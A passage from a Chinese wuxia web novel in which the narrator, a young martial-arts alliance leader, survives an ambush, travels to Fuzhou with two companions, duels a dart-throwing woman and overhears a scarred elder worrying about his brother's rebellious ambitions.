一直躲在暗中观战的我忽然感觉自己的鼻孔下方又湿又痒,忍不住用手一抹——手背上竟是一片暗红。 “啊!我流鼻血了!”我失声叫道。 “什么人!”伍黑龙猛然惊呼。他一手提着裤子,一只手拉紧束腰,冲着我这边大喊,“是谁在那里?!快给我滚出来!” 廖七嫂一声尖叫,月光下看着她花容失色的美貌,陡然之间变得几如同月光一样的白。 眼看着行踪暴露,我只好起身挤出了石缝。但心里却想着,如此也好,正好拿伍黑龙试一下我在山洞中所习得的剑法到底威力如何。 “是你?!”伍黑龙盯着我惊道,“你,你竟然没死?” 我为什么要死?! 我说:“我活得很好。” “你,你这个不要脸的臭小子!”廖七嫂已经在慌乱中裹好了衣服,虽然还有些衣衫不整,但应当遮住的地方也大概都遮住了。她脸上又是羞涩又是愤怒,指着我大骂:“小小年纪不学好,看老娘不戳瞎了你的眼睛!” 我说:“我不会让你戳的!” “狂妄!”廖七嫂喊了一句,眼中忽闪着凌厉的杀气。她拔出长剑,纵身飞来,剑尖儿如蝉翼一般地颤动,直直地刺向我的胸口。 廖七嫂目光阴狠,戾气极重,出手就是杀招! 石板上的十一式剑招里,有一招身子后仰,朝天刺出的招式。这时,廖七嫂正凌空而来,手中长剑轻颤如毒蛇出洞,锐不可当,但她的腹部以下却是一片空虚。而那招一处既能躲过她的这计杀招,又能趁虚而入,直刺她腹部。 然而,现实是多么残酷的东西,它却远不如我想象的那样完美。 九郎剑是一把精巧锋利的短剑。 我想到了招式里的一切,却忘记了手中九郎剑的长度。 这一招使出,的确巧妙地躲过了廖七嫂的飞来一剑,但九郎剑的剑尖却仅伸到了廖七嫂腹下一寸处,贴着她垂下的衣服便擦了过去。“呲啦”一声,在廖七嫂的衣服上划开了一道长长的口子。 廖七嫂跃到我身后站定,我俩互换方位。我转身看去,只见廖七嫂胸怀大敞,露出了雪白的裹胸布,那一双骄人的胸部就在裹胸布下几乎喷薄欲出。 “啊!啊!” 廖七嫂扔了手中的剑,死命地拉着破掉的衣服,嗷嗷地叫着:“老贼!杀了这个不要脸的臭小子!快点杀了他!” 伍黑龙在我身后大吼一声:“好嘞!” 劲风一呼,我只感觉身后一股强力扑来。来不及转身,我快步向前一跃。伍黑龙一斧头劈了个空,板斧在地面上砸出一道深深的沟印。 伍黑龙再挥板斧,声如猛虎出山,震颤山岳。 “我杀了你!” 伍黑龙那道如缝隙一般的小眼睛裂开一道大大的口子,露出一对久不见天日的深褐色眼珠。他手中的斧头很快便再次降临到我的头顶之上。 这一幕,在我脑海中已经反复出现了很多次。在山洞中,我练习石壁上的剑招时,每一招都把伍黑龙想象成对手。 他的宣花板斧势大力沉,威力惊人,任何人只要被他的斧头碰一下,即便不会当场毙命恐怕也会重伤残废。 但他却有一个致命的缺点——迟钝,笨拙! 我侧身躲过迎门一斧,轻巧向前一迈,便紧紧贴在了伍黑龙身子左侧,一提剑便抵住了他的脖颈。伍黑龙小小的眼睛中充满了大大的疑惑,他盯着我,难以置信地问:“才不过几天,你怎么变得如此厉害?!” 我内心狂喜,想那石板上的招式竟然厉害到这种地步。伍黑龙与廖七嫂都是一派掌门人,竟然在一招之内就被我制服。那一刻,我感到了无穷无尽的满足感,这些年被人轻看与嘲笑的痛苦一扫而尽,从此之后,我会让整个江湖看到一个全新的我,我要去感受让整个江湖顶礼朝拜的万丈荣光。 我轻蔑地嘲笑伍黑龙:“你再来砍我啊!” 伍黑龙的双手仍旧攥着宣花板斧光滑的长柄,但他却不敢动弹,甚至连气都不敢喘。我在他的脸上看到了恐惧,那感觉是那么的美妙与享受。我听见他惊慌地求饶:“别,别杀我!” 若不是廖七嫂开口叫骂,我几乎就要控制不住地挥剑割开伍黑龙的喉管,看他喉头的鲜血如柱喷出。廖七嫂在我身后大喊:“老贼,你这个废物。看你没穿衣服的时候那么大的能耐,没想到穿上衣服就是个脓包!”好心情文学网 伍黑龙满脸通红,他冲着廖七嫂大吼:“这,这两件事怎能相提并论!” 廖七嫂不依不饶,骂骂咧咧地走了过来:“没想到你竟然是这种怂货,老娘真是看错了你!”她一边骂着,一边向伍黑龙大步走来。一只手捂着怀里的裂口,走到伍黑龙面前“啪”的一声,扇了一计响亮的耳光。 一股奇异的幽香仿佛是从廖七嫂的指缝间传出,随着那计一扇而过的耳光,钻入了我的鼻孔,顿时带给我一种如坠梦幻般的感觉。 我一阵头晕目眩,瞬时感觉浑身乏力,就连握住九郎剑的力气都没有了。“咣啷”一声,九郎剑掉在了地上。 我瘫坐在潮湿的地面上,听着一男一女阴冷的笑声,像一把刀,一把即将沾满我鲜血的屠刀。 “你们......”我无力地喊着,想要骂,却连说话的力气都使不出来了。 “想跟老娘斗?你臭小子还嫩了点,让你尝尝我南剑门软骨迷魂香的厉害!哈哈哈......”廖七嫂得意地笑着,我看到一柄闪亮亮的长剑已提到了半空之中,而那柄剑的剑尖儿,正指着我的胸腔疯狂地刺了过来。 小月,永别了! 这是我闭上双眼等待死亡时的最后一个念头。她曾对我说,要我放弃这个江湖,与她天涯海角。但如今,即使我想要去,只怕也没有机会了。 2. “当!” 一声脆响,斩灭了向我扑来的死亡。 我睁开眼睛,看到一柄宽厚的宝剑正横在我的胸前。那把宝剑的护手是一个长着血盆大口的猛虎,而剑刃仿佛是从那口中露出的锋利的獠牙。 我的眼前一片模糊。我已经看不清远处那人的长相,我只听到一个浑厚有力的嗓音,如猛虎咆哮一般地吼道:“你衣服破了!” 廖七嫂嗷地一声尖叫,骂道:“不要脸,你往哪看!” “周帮主,你怎么会来这里?”伍黑龙的声音里充满了疑惑。 周帮主? 是龙虎帮的周望安! “你们为何要杀他?”周望安的声音还是那么憨笨。 “这臭小子对我无礼,他就应该被我千刀万剐!”廖七嫂骂着。 “不错!”伍黑龙开口帮衬,“我路过此地,恰好看见这小子对七嫂动手动脚,言语轻薄,一时气不过,便过来帮忙。” 这对可恶的狗男女,竟然颠倒黑白!我心里暗骂着,想要开口辩驳,但却如被人点了穴道一般,嘴巴喉咙都不听了使唤。 “你们不能杀他!”周望安说,“我有要紧的事要问他。” “有什么要紧的事等我杀了他再问!”廖七嫂恶狠狠地喊着。 “你当我傻啊?!”周望安吼道,“你杀了他我还怎么问?!” “我不管,事关老娘的名声,这个人留不得!”廖七嫂喊着,“当”的又是一声铁器撞击之声,随即就是廖七嫂的一声娇嗔,紧着接着传来脚底摩擦地面的沙沙声,似乎是廖七嫂被周望安一剑逼退了几步。 “你是铁了心要和我南剑门作对了?!”廖七嫂冷冷地逼问。 “我不与南剑门作对,但这个人你不能杀!”周望安吼道。 伍黑龙轻咳了一声,说:“两位且先不要争执了。不如这样,此处既然是我汀泉派的地盘,理应由我汀泉派管辖。我看他现在神志模糊,只怕一时半刻也缓不过来,不如将此人交给我,我将他带回汀泉派先行看护,待他清醒后先由周帮主询问事情,再交给七嫂处理,如何?” “你怎么.......”廖七嫂话说了一半,忽然变了腔调,说,“此法甚好。就这么办!” “不行!”周望安固执地坚持,“我现在就要将他带走,一刻都不能耽搁。” “周帮主!”伍黑龙的声音陡然变冷,近乎是威胁地语气,说,“这里可是汀泉山,不是你龙虎山,你不能想怎么样就怎么样!” “如何?!”周望安像狮子吼一样,“你杀了我呀?!” 空气似乎凝固了。 沉默了许久。我感觉自己被一双有力的臂膀架了起来,然后趴在了一副宽厚的背脊上。周望安的声音就在我耳畔呼响:“你们不杀我,我就走了!” “你......”伍黑龙的声音在我身后响了一下,虽然只有一个字,但我听得出其中包含着复杂情感——有担忧、有愤怒、还有绝望! 第二卷 武林盟的开始与结局 第一百三十三章 福州 1 迷迷蒙蒙之间,我感觉自己被周望安背着前行了很久。 不知在什么地方。周望安身子一顿,将我抛在地上,一阵剧烈的疼痛传遍全身,登时将我摔醒了七八分。 “你大爷的!”我忍痛骂道。 周望安没有理我,他四处环顾,神情急躁。他大声喊道“快出来吧,这人我已经给你带来了。” 他是要将我交给什么人?! 我的心里开始紧张。 “别躲躲藏藏的。”周望安继续喊道,“总就这样大的一间破院子,莫非还要等我去找你不成?!” 他这样一喊,我才想到要去看一看周围的环境。 这看起来是一间废弃的老宅。左右几间屋舍已塌了半截,院子里满满的杂草,正沐浴在晨光中,随风摇摆着,仿佛是刚刚睡醒了要伸个懒腰一般。 “效率很高嘛!” 我忽然听到了李小谦的声音,循声去看,果然是李小谦正坐在东侧一间破屋的门槛上。他冲着我嘿嘿一笑,起身向我走来。 “兄弟,你没事吧?”李小谦躬下身子问我。 若不是我身子还有些乏力,我真想站起来,揪住他毒打一顿。我冷声回应他“还没死。” 李小谦或许是感觉到了我心中的愤怒,他一脸讪笑地说“别生气嘛,兄弟,我这不是派了个高手去救你嘛。” 周望安竟是他派去的?! “少废话!”周望安厉声喝道,“龙神刀在哪里?” 李小谦直起腰,对周望安说“着什么急啊,又不是不告诉你。等我和我兄弟平安无事地离开汀泉派的势力范围,我自然会把龙神刀的下落告诉你。” 周望安瞪大眼睛吼道“你当初只是说要我将人给你救出来,你便将龙神刀的下落告诉我。莫非你要食言不成?!”说话间,虎牙剑已从剑鞘中拔出了半寸,露出一道刺目的光芒。 “不错!”李小谦说,“我是说,你把人救出来我就把龙神刀的下落告诉你。但是,我俩现在还在汀泉派势力范围之内,我兄弟又成了这个样子,若此时伍黑龙那小眯缝眼儿杀过来,我俩一样是逃不了,那岂不是等于你没有救人?!所以,还有劳周帮主救人救到底,把我俩送到福州城里,到那时候我一定会告诉你龙神刀的藏处!” “你!”周望安的太阳穴上青筋暴动,一双眼睛似乎要杀人一般地瞪着李小谦。片刻之后,他狠狠地将虎牙剑塞进剑鞘之中,喝道“少废话!要走便快些走!” 李小谦伸手将我拉了起来,他冲我眨了眨眼,说“你没事吧?” 我心中一阵羞愧。原来,是我误会了 他。他并没有抛下我不管,也幸亏有他让周望安前去救我,否则此时我已经是一具尸体了。 我说“我没事。” 我又问“你怎么会让周望安去救我的?” 李小谦说“哎,这事怪我。那日,我见伍黑龙要杀人灭口,只顾着闷头快跑,跑下汀泉山的时候,才意识到你还没有脱身。那时,我急得不行,正好碰见周望安和他的弟子乘船而来。你哥哥我灵机一动,便以龙神刀为引子,叫他去汀泉山上救人。可是这个傻子” “嗯?!” 李小谦话刚说了一半,却被周望安听到,他扭头瞪着李小谦,虎牙剑又拔出了半寸。李小谦当即改口,说“周,周帮主周帮主武功惊人,天下无双,只是方向感稍微差了一些” 周望安哼了一声,将虎牙剑又塞进剑鞘。李小谦压低声音继续说道“这傻子来来回回跑了九趟汀泉山,才找到我说的那个地方,所以才耽搁了这两天的时间!” “别以为你放低声音我便听不见了!”走着前面的周望安突然冷冷地说了一声。 李小谦猛地哆嗦了一下,低声骂道“我靠!顺风耳都没你强!” 2 福州城。 虽不如临安、绍兴那样纷华靡丽,却也是车水马龙、楼宇林立的热闹之地。 双刀门便坐落在福州城北。那里原本是八街九陌,花柳群簇的锦绣之地。从前的双刀门,凭借武林中的声势地位,维护花街柳巷的治安,并向那些青楼妓院收取一些保护费。凭借这份营生,再加上双刀门常年收费招收外围子弟,教授一些粗浅武学,双刀门曾是江湖上数一数二的富户。 据传,前任福州知府因早年纵欲过度,彻底丧失了男人的功能。正因如此,他心理遭受巨大打击,深恶那些烟花柳巷里的风尘女子,将她们视作是吸走男人精血的妖人。初任福州知府的第二天,他便在福州城开展了一场声势浩大的“斩妖”行动。 数十座青楼妓院就地查封。 数百名风尘女子锒铛入狱。 数千名寻花浪子痛哭流涕。 数万名良家妻妾欢呼雀跃。 整个福州城一片沸腾,人们对那次的“斩妖”行动议论纷纷,褒贬不一。但最为失落的确是双刀门,因为这他们彻底失去了一项极为重要的收入来源。 虽如此,但双刀依旧财源广进。各地闻名而来的平民百姓,为了学习武艺,不惜重金相投。 后来,巢湖武林大会之后。江湖各大门派在白景行的带领下实行自律,双刀门招收外围弟子的行径被视作私自 扩充势力,容易引起朝廷的警觉。虽然,管天下对于这种认定十分不满,但因忌惮白景行武功和声望,只得强忍着撤掉招收外围弟子的生财门路。 但据坊间传言,管天下虽然在明面上禁止双刀门招收外围弟子,却私底下委派亲信弟子在各地举办了十几家武馆,虽然不能公然打着双刀门的旗号,由此进项大不如以往,但也足够双刀门日常生计,甚至还略有富余。 3 到福州城时,软骨迷魂香的药力已过,我的身上终于恢复了力气,可以自行走路。 “我靠!” 这是李小谦听我叙述完这两日发生的事情后发自肺腑的感慨,“你竟然观看了现场版?!太劲爆了!” 周望安似乎也听得入了迷,他喃喃地说“难怪伍黑龙看起来一脸倦意,原来是这样。”他皱着眉头,思索了片刻,忽然停下脚步问我“他俩当真是奸情被你撞破才要杀人灭口的?” 我说“句句属实。” 周望安的脸上忽然闪过怒意,他说“竟敢拿我当傻子一样糊弄,枉我如此相信他们!” 我叹了口气,说“当时我想要反驳,但我中了廖七嫂的软骨迷糊香,根本连说话的力气也没有。” 周望安向我郑重地抱了抱拳,说“当时,我竟然相信了那对奸夫淫妇的所言,心里想着拿到龙神刀之后便将你捆到廖七嫂那里发落。幸亏你此时说出真相,才免我险些酿成大错,我周某人向姬盟主赔罪了。” 周望安的这番话着实让我对他刮目相看。心里想的事,他不说出来,我永远都不会知道,但他却如此诚挚的为了一个想法向我赔礼致歉。 在这个尔虞我诈的江湖中,难得还有这样一个诚恳如周望安这样的人。 周望安并没有等我作出任何的回应,他便转身继续向前走。我跟着他身后,犹豫再三,说“我将龙神刀与房大全埋在一起了,在吉安城外的一个荒村之中。” 周望安停下脚步,他回头看着我,眼神真挚,说“我师弟之事还未来得及向你致谢。待我取回龙神刀,安葬好我师弟之后,我定然备好厚礼,亲赴武林盟以表谢意。” 他不仅是一个莽夫,还是一个光明磊落、明辨是非的好莽夫。 “快来人啊!救命啊!” 说话间,街面上不知是谁喊了一嗓子,把来来往往许多人的目光都吸引了过去,其中也包括我们三人。 三层高的楼上,挂着四盏红灯,还挂着一个嗷嗷直叫的书生。他嗷嗷地喊着“救命”,从声音里我便已听到他内心里挣扎的恐惧。 “快救救他!”我忍不住开始为那书生 担忧,然后,我目光投向周望安,希望他能在关键的时刻对那个命悬一线的书生施以援手。 周望安却摇了摇头,说“我轻功不好。救不了他。” 我目光转向李小谦,李小谦一愣,咧着嘴叫道“看我干什么?我这轻功,逃命可以,跳三层楼准得摔死。” 关键是,我也没有那么好的轻功啊! 若小月在就好了! 人群中,碧绿的影子一闪,一个身姿曼妙的少妇如神仙飞升一般拔地而起,飘然飞向那书生。她足尖在一层突出的屋檐轻轻一点,直接跃上三楼,抓着那书生的胳膊又轻飘飘地落了下来。 人群中赞声如潮。 书生瘫坐在地上,一副惊魂未定的神态,大口喘息着,许久都没有对那妇人说声谢谢。 而那妇人,未言一句,转身没入人群。待那书生缓神过来时,那妇人已不见了踪影。 “好俊的轻功!”周望安赞叹道。 “好俊的少妇!”李小谦的关注点与周望安完全不同。 我说“人已经走远了!” “不知是哪派的高手!”周望安说。 “不知是谁家的娘们儿!”李小谦道。 我说“我们追上去看看!” “好!”周望安和李小谦同时回应。 (本章完) (教育123文学网) 第二卷 武林盟的开始与结局 第一百三十四章 少妇 1 那碧绿衣裳的少妇轻功十分了得,我三人一路紧追,却还是追丢了 一处幽深静谧的小巷中,已远离闹市千百米。 我们站在巷首向巷尾处张望,狭窄的巷子在屋檐的遮蔽下,显得有些阴暗。我说“我们追丢了。” 李小谦说“废话,还用你说,我们自己看不到吗?” “嗖”的一声响。 虽入蝉翼微颤,但我对这种暗器划空的响动异常敏感。几乎是在无意识间,九郎剑在空中“铮”的一声脆鸣,一道暗器被我斩作两截。 那是一枚普普通通的铜钱。既没有磨边,也没有刮刃,除却中间被我斩断的那道已显得锋利无比,其余皆是圆润光滑。 “何人突使暗器?!快快现身出来!”周望安像狮子一样地吼道。声音传入巷中,震得屋檐下落了一片灰尘。 小巷中没有任何回应,那突施暗器的人也没有现身。 “出来!”周望安又吼一声,一片青瓦落下,在地上摔得“啪”一声响,他见暗处之人还不露面,继续喊道,“躲躲藏藏,算什么英雄好汉。” “呵呵。” 幽深的巷子中传来女子的笑声,一道碧绿的身影,悄然间出现在距离我们五丈之外的地方。 “你们偷偷摸摸地跟在我身后,就算是英雄好汉了吗?”那少妇挽起鬓角的碎发,笑吟吟地向我们迈进了几步。 “啧啧。”李小谦两眼发直,盯着那少妇感慨,“这小娘们儿长得可真带劲儿。” 周望安怒视李小谦,道“登徒浪子,你再敢言语如此轻佻,我便拔了你的舌头。” 李小谦毫不示弱,他说“又不是你媳妇,你着什么急!” 周望安拔剑出鞘,指着李小谦破口大骂“我平生最恨你这种淫徒浪子,若不是看在你与盟主帮过我师弟的份上,此刻你已经是个死人了!” 李小谦和周望安吵得正紧,那少妇竟然高兴地拍起手来,似乎是看了一场精彩的好戏,她大声喝彩“离巷里,狗咬狗,真是好看得很!” 周望安仍旧用剑指着李小谦,说着“淫贼”之类的骂话,全然没有听到那少妇说了些什么。但李小谦似乎是听到了,他先是一愣,随即冲着周望安一摆手,叫道“别吵了,那小娘们儿骂咱俩是狗!” “啊!” 周望安怒吼一声,剑锋一转,指向那少妇,喝道“你为何骂我?” 那少妇轻描淡写地说了句“我高兴。” 向来是天不怕地不怕的周望安竟然傻了,他的剑迟疑着缓缓落下,双眼中有愤怒,却又很无奈,他喃喃自语道“这可如何是好。 我可没跟女人打过架啊!” “说谎!” 周望安疑惑地看着我,我继续补充道“昨夜在汀泉山上,你还跟廖七嫂动了手,她不是女人吗?” 周望安辩解道“我那是为了救你!况且,我只是挡下了她的剑,并没有向她出手。” “你们叽叽歪歪地说够了没有?”那少妇满脸不悦,说,“你们跟着我到底有什么企图?难道只是为了让我看你们吵架吗?” 李小谦上前一步,笑道“我们只是仰慕你的美貌啊,不!你的轻功,所以想过来看看,认识一下。”他搓着手,又开始说些莫名其妙的话“美女,加个微信方便吗?” 那少妇斜了李小谦一眼,说“无聊透顶!”说罢,她转身向着巷子深处走去。 “站住!” 我也不知为何要让她站住,只是看着她走,便莫名其妙地喊了一声。 那少妇陡然转身,右手在腰间掐起兰花指。她动作不大,手指间仅借一捻之力,骈指打出一枚铜钱。那铜钱飞来的速度极快,仅一闪之间,便已到跟前,直直地冲向我檀中穴位。 这是要我的命啊! 我反握九郎剑一斩,将铜钱斩落。 “金钱镖!”周望安惊讶地喊道,“你是管门主的”他话还没说完,那少妇指尖又是一捻,一枚铜钱飞向周望安面门。 周望安脸色惨白,想要拔剑依然是来不及了。身子一侧,铜钱贴着他脸颊划过,留下一道寸余的伤口,不稍片刻便渗出了殷红的献血。 这少妇实在欺人太甚,仗着自己暗器功夫了得,不分青红皂白竟然直下死手。 我忍无可忍,大喊一声“看剑”,纵身出去,一招攻人下盘的横扫,划出一道剑光。那少妇身形轻巧如燕,双足一点一顿,化作一道碧绿的影子,盘旋着跃到空中。 “嗖!” 又是一声划空的响动。一枚铜钱从上方打来,我提剑挡在脸前,铜钱击中九郎剑的剑刃,发出一声脆响。却容不得我片刻喘息,又是接连的“嗖嗖嗖”几声,眼前金光数道已向我扑来。 雕虫小技! 我虽然没有见过这么快的金钱镖,却无数次挡下了比它速度更快的竹筒银针。我轻撩腕花,划剑成盾,“当当当”几声便将飞来的金钱镖尽数挡下。 那少妇满脸的疑惑与惊讶,她飘然落地,却没有再发一枚。她问“你是谁?” 我傲然回应“我是武林盟主,姬旦丙!” 2 如果说,姬旦丙这个名字会让人嘲笑。 若是挂上了武林盟主的头衔。我想,定然不会有人再 敢嘲笑。起码不会光明正大地嘲笑。 但是,我大错特错。 那少妇捂着嘴,笑声不止,还说“原来,你就是那盘菜。” 嘲笑!永远都是嘲笑! 一股强烈的怒气勃然而生,在我胸腔之中猛烈地翻腾。我胸腔起伏,头脑一阵阵发胀,挥动着九郎剑,大步向着那少妇冲了过去。 她轻巧躲过了我直直刺出的一剑,翻身向我身后跃起。 那十二招剑法里,有一招转身向后刺出的招式,如人群中蓦然回首的一望,手中的剑顺势直刺出去。 那少妇一声呻吟,连退数步,站定身子时,半只袖子已流满了鲜血。 周望安伸手将她扶住,憨声憨气地问“你没事吧?” 那少妇眉头紧蹙,牙关紧咬,一只手捂着胳膊上的伤口,狠狠地说“你不长眼睛吗?瞧我像是没事的样子吗?” 周望安再度语塞,傻傻地愣在那里。李小谦推了推周望安的身子,搭手扶住那少妇,说“我来扶,我来扶。”他的手有意无意地碰到了那少妇的敏感位置,少妇脸色一变,挣扎着脱身,骂道“你,你敢占老娘的便宜!” 李小谦连忙摆手,说“误会,误会。我真不是故意的。” 或许是太过激动触到了伤口,那少妇脸色又多了几分痛苦。她手伸到腰间,掏出一枚崭新的铜钱,在指尖轻轻一捻,却是向我打来。 我挥剑斩断铜钱,那少妇已腾然跃起,飞上屋檐,消失在我的视线之中。 3 “眼下状况恐怕不甚乐观。”周望安满脸忧虑。 我问“此话怎讲?” 周望安说“你可知那妇人是谁?” 李小谦仍旧怔怔地看着她消失的地方,喃喃自语“她样子和唐婉还真是有几分相似。” 原来,李小谦是因为这个原因才对那少妇产生好感的。 直到现在,他仍然对唐婉念念不忘。 周望安打断我的思绪,他说“那人是双刀门管天下的亲嫂子!” 嫂子?! 我惊讶地问“管天下还有一个哥哥?” 周望安黯然点头,说“管天下的兄长,名叫管天上。” “我靠!”李小谦叫道,“他们家怎么这么牛逼,一个管着天上,一个管着天下天上人间都归他们家管了!” 周望安满脸通红,冲着李小谦一声狮子吼“你再敢胡说八道,我这就砍了你!” 李小谦切了一声,不再言语。周望安继续说“那妇人是管天上前些年续弦的妻子王慈心,乃是十多年前江南一带有名的镇远镖局家的千金小姐,那金 钱镖的功夫就是镇远镖局王家的独门绝技。” 镇远镖局?! 我惊讶万分“他是王平的女儿?!” “你认得王平?!”周望安有些错愕,“你年纪不大,怎么知道王平这号人物?” 我当然知道。我说“金刀扬名大会,我就在镇江。我师父与镇远镖局的王平是多年的好友。” 想起往事,我满心怅然。逝者如斯,留给我的也仅有回忆二字。 周望安问“你师父是何人?” 我说“他叫陈八矛,是一个江湖游侠。” 周望安思索了片刻,摇头说“没听过。” 八矛师父本来就是无名之辈,他这样说虽然有些直接,但我也却并不感到失礼。周望安开始接着介绍那少妇的事,他说“金刀扬名,王平自杀,在那些年本就是轰动武林的大事。镇远镖局从此没落。王平自杀之后,留下一对孤寡母女,在江湖上举步维艰,受尽风霜,幸亏管天下念及与王平多年的交情,才收留了这对母女。数年前,管天上的结发妻子因病逝世,王慈心为报双刀门多年来收留的大恩,便委身下嫁给了比他大了将二十几岁的管天上。” 李小谦莫名吟诗,满腹感慨“霜雪覆青葱,天命毁芳华管天上这白毛老猪可真是拱了一棵好嫩好嫩的白菜啊!” (本章完) (教育123文学网) 第二卷 武林盟的开始与结局 第一百三十五章 天上 1. 福州城。 幽深的离巷尽头,一家普普通通的小酒馆,名曰知遇酒馆。 知遇酒馆里,一壶黄酒,两道小菜,从王慈心聊起,最后谈到管天上,周望安向我们讲述了一段曾经轰动江湖的奇闻。 福州管家,双刀门,立派百年,曾以一套双刀功夫名扬天下,一直是江湖上极富盛名的大门派。 江湖皆知,双刀门的双刀功夫只传历代门主。如今人们都说正因为有了这样的规矩,造成了双刀门后来的没落。但其实不然,管家后人之中,曾有一人天资聪颖,极富慧根,少年时即被确立为双刀门门主的接班人。二十几岁便已将单传的双刀功夫练得炉火纯青,其威力远超过当时的门主,也就是管天下的父亲管元洪,甚至直逼当年创立双刀门的管修齐。 这个人便是管天上。 原本是要继承门主之位的管天上,少年得志,变得愈发桀骜不驯,仿佛是这天下间没有一人能入他眼中。 宣和四年,便是二十五年前。闽赣交界处,匪患猖獗,其中有一个叫风雷寨的,更是杀人如麻,作恶多端。风雷寨寨主余风雷,金刚铁骨神功号称刀枪不入,一柄杀猪刀耍得刚猛无比,更说是以一敌百,闹得闽赣两地衙门抓耳挠腮,手足无措,因此发布悬赏告示,凡能取余风雷首级者赏纹银两千。 双刀门并不缺钱,但管天上却将此看成是扬名天下的良机。他自视双刀功夫天下无敌,竟然单枪匹马杀向了风雷寨。 金刚铁骨的余风雷捶着胸脯说自己能刀枪不入。管天上却不以为然,认为他不过是虚张声势或者是什么歪门邪术,便与余风雷约定互不还手,各砍对方九百九十九刀,能站到最后者即为胜。 然而,当管天上和余风雷交手的时候才发现,余风雷真的是练了一身刀枪不入金刚铁骨神功。他原地不动,任凭管天上双刀交错,砍下九百九十九刀却毫发无损。 管天上当即便傻了眼。 余风雷大吼一声:“该我了!”说完,他挥出杀猪刀向管天上猛扑而去。管天上明知自己不能承受,却又不愿背负言而无信的骂名,竟然强撑着让余风雷在他身上也砍下了九百九十九刀。 最后,肉体凡胎的管天上被这九百九十九刀砍得血肉模糊。余风雷对着倒在地上已奄奄一息的管天上说:“这九百九十九刀是你我约定好的,但是你闯我山寨,扰我清净,凭此我要多补你一刀才对。”说罢,他手起刀落,一刀挑断了管天下的手筋。 2. “我靠,这就是传说中的挨千刀啊!” 正听得津津有味时,李小谦忽然叫了一声。周望安不仅没有生气,反而点了点头,说:“不错,这就是江湖人私下里给管天上起的绰号。” 我更为惊讶,问:“他挨了一千刀竟然没死?” 周望安叹息一声说:“或许是余风雷有意羞辱,下手时竟避开了全部的要命位置,只将管天下皮肉砍翻而不伤内里,并且每个刀口长度不过半寸,细小如针。虽然如此,但一千多刀下去,管天上从头到脚已是无一完肤,最要紧的是那最后一刀,挑断了管天上的手筋,让他彻底成了一个再也拿不动刀的废人。” 这也太厉害了。 周望安又说:“这一战成名的,不仅有千刀不死的管天上,还有刀刀精准的余风雷。” “如此精准的刀法,要下怎样的功夫才能练成?!”我感慨万千。 周望安说:“当年,午阳先生编纂江湖轶事录时,曾亲自赶往风雷寨询问这个问题。” 我好奇心起,忙问:“余风雷是怎么说的?” 李小谦也满脸好奇,凑脸过来,问:“对呀,他怎么说的?” 周望安神情怪异,憋了很久,他才缓缓地说:“余风雷说,他以前是个屠户,猪肉切的多了,自然就练成了!” “我靠!”我忍不住地喊,“那得切多少猪肉?!” 李小谦点头称是:“生意这么好,不卖猪肉做什么土匪啊!” 周望安一挥手,憨声憨气地说:“总而言之,我还是十分钦佩管天上的品行与勇气的。” 李小谦不屑地说:“明知不可为而为之,这叫傻!” 周望安吼道:“若是言而无信,岂不叫可耻!”他声音浑厚响亮,震得杯中的酒水荡起几圈水纹。店老板满脸恐慌,以为我们要在他酒馆中动手打架,慌忙上前为我们添了些茶水,说:“各位大侠切莫动怒,小店利薄,可经不起拳脚折腾,还请各位大侠体恤。” 李小谦与周望安相互怒视一眼,各自冷哼一声,将头偏向一侧。 3.玩吧 人生无处不充斥着巧合。 白日间,我们在知遇酒馆刚刚谈论了管天上的事。傍晚时分,在福州城百里客栈中,我们便遇到了一个头发花白,满脸是密密麻麻刀疤的男人。 “那是不是管天上?”我指着墙角处独自饮酒的男人,轻声问周望安。 周望安审视了片刻,说:“看这样貌,应当是他!” 李小谦不屑地说:“这满脸的记号,天下绝无仅有,一定是那挨千刀的。” 我有意选了一个距离管天上不是太远的地方,想要暗中观察他一番,来满足一下自己内心的好奇——到底这个挨了一千刀还没有死的管天上是什么样的一个人物? 李小谦满脸惋惜地神情看着管天下,说:“可惜了如花似玉的王慈心竟然嫁给了这么一个挨千刀的花毛猪。” 周望安说:“王慈心知恩图报,乃是大义。” 这时,乌漆漆的门外闪进几道人影,却是三个身材魁梧的汉子走了进来。店小二匆忙上前迎接,还未开口却见其中一人微微一摆手,说道:“我与人有约,你下去吧。” 店小二悻悻而去。摆手的那人扫了一眼堂内,目光略过我们,最终定在墙角独酌的管天上那里。他快步走向管天上,先恭敬地行礼,再缓缓坐下,而另外两个大汉便站在他身后,一左一右,犹如门神一般威严伫立。 “有派头!”李小谦小声的说,“出门还带俩保镖,一看就是有头有脸的人物。” “管大哥,门主他......” 那汉子说了一半,却被管天上抬手截止。他警惕地向我们瞥了一眼,那汉子登时会意,凑到管天下身边,低声地说:“门主他已下令各地武馆开始收留难民,并传授他们功夫。现在,各地武馆收留的难民总数已近万人。” “这么多?!”管天上声音惊讶,但他的脸被密密麻麻的刀疤覆盖,看不到一丝一毫的表情。 李小谦皱着眉头,低声地说:“什么这么多?那个人说了什么?” 我问:“你听不到?” 李小谦说:“跟蚊子哼哼一样,谁听得到。” 我说:“我听得到。”不知为何,自我用那竹筒苦练剑法以来,除了练得眼疾手快,耳朵也愈发灵敏了,平日里总是听到有苍蝇蚊子从耳边飞过,想要伸手去抓时,却发现那些飞虫离我竟有三五尺远。 李小谦惊讶地说:“你比周望安的耳朵还厉害。” 周望安低声说:“我也听得到。” 沉吟了许久的管天上叹了口气,喃喃低语:“如此看来,我这弟弟所谋之事,只怕不是一个武林盟主那么简单。” 那汉子面露忧虑之色,他说:“莫非门主是要与朝廷为敌?” 管天上说:“这也是我最担心的事。天下他自幼心高气傲,继承了门主之后更是野心勃勃,当年追随李彦仙将军抗金之时,便曾劝过李将军趁天下大乱之时自立称帝,被李将军断然拒绝。后来,李将军投河自尽之后,他带人回到福州专心门中事务,我本以为他已死了那条心......如今看来,那不过是卧薪尝胆、养精蓄锐的权宜之计。” “那我们应当怎么办?”那汉子忧色更浓,急切地问。 管天上说:“与朝廷为敌,只怕是以卵击石,自取灭亡。只怕我双刀门百年基业,就要毁于一旦了。” 那汉子沉吟片刻,忽然说:“大哥,不如我们......” “不可!”管天上低吼一声,打断了那汉子的话。他语气急转直下,变得十分低落,叹息着说:“骨肉亲情,他毕竟是我的亲弟弟。” “大哥!”那汉子急道,“大局为重,危急关头,我愿替你行万难之事!” 管天上缓缓地摇了摇头,说:“我已不是当年那个无所顾忌的少年。我会极力劝阻天下,让他放弃若他执意如此,我情愿随他一同赴死,也不能骨肉相残。” “大哥啊!”那汉子满脸悲切,几乎就要哭出来了,“双刀门百年的基业怎么办?也不管了吗?” 